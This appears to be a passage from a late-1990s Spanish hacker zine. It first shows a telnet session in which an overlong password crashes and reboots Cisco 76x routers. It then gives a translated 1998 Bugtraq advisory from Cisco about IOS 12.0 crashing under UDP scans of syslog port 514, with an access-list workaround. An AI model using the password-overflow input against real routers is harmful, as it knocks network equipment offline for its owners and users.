El exploit es muy simple y cuelga los modelos mas sencillos de cisco, los

76x con la version del IOS restringida a 4 usuarios, ejemplo:

 

telnet cisco762.domain.com

Trying 1.2.3.4...

Connected to 1.2.3.4.

Escape character is '^]'.

Enter Password:Poner_una_contrase~a_muyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

yyyyyyyyyyyyyyyyyyyyyyyyyyyy_larga

 

y podreis disfrutar un maravilloso espectaculo de luces que significa que el

router esta reiniciando.

 

 

b)----------------------------------------------------

 

 

Date: Tue, 22 Dec 1998 13:39:30 -0800

From: John Bashinski <jbash@CISCO.COM>

Reply-To: Bugtraq List <BUGTRAQ@netspace.org>

To: BUGTRAQ@netspace.org

Subject: Cisco IOS 12.0 security bug

 

Se nos ha reportado que un escaneo UDP con la herramienta NMAP provoca

un crash en la version Cisco IOS 12.0 y hemos confirmado que el problema

existe y que afecta a todas las variantes de la version 12.0 asi como

a varias variantes de la version 11.3.

 

El problema parece causado por el envio de paquetes al puerto syslog del

router (puerto UDP 514). Se puede solucionar a~adiendo una lista de acceso

que restrinja ese puerto, algo parecido a esto:    

 

    ! Deny all multicasts to port 514

    access-list 101 deny udp any 224.0.0.0 31.255.255.255 eq 514

    ! Deny old-style broadcasts

    access-list 101 deny udp any host 0.0.0.0 eq 514

    ! Deny network-specific broadcasts (*example*; depends on local netmasks)

    access-list 101 deny udp any 192.31.7.255 eq 514

    ! Deny router's own addresses

    access-list 101 deny udp any host <router-addr-1> eq 514

    access-list 101 deny udp any host <router-addr-2> eq 514

    access-list 101 deny udp any host <router-addr-3> eq 514

    ... etc ...

    access-list 101 permit ip any any

 

    interface <interface-1>

    ip access-group 101 in

 

    interface <interface-2>

    ip access-group 101 in

 

    ... etc ...

 

Si encuentras algun ataque como este, por favor reportalo a Cisco a la

direccion "security-alert@cisco.com".

 

Para mas informacion sobre procedimiento de seguridad de Cisco ver,

 

   http://www.cisco.com/warp/customer/791/sec_incident_response.shtml

 

                                        -- J. Bashinski

                                           Cisco Systems

 

 

Esto es todo por hoy

Hendrix

hendrix66@iname.com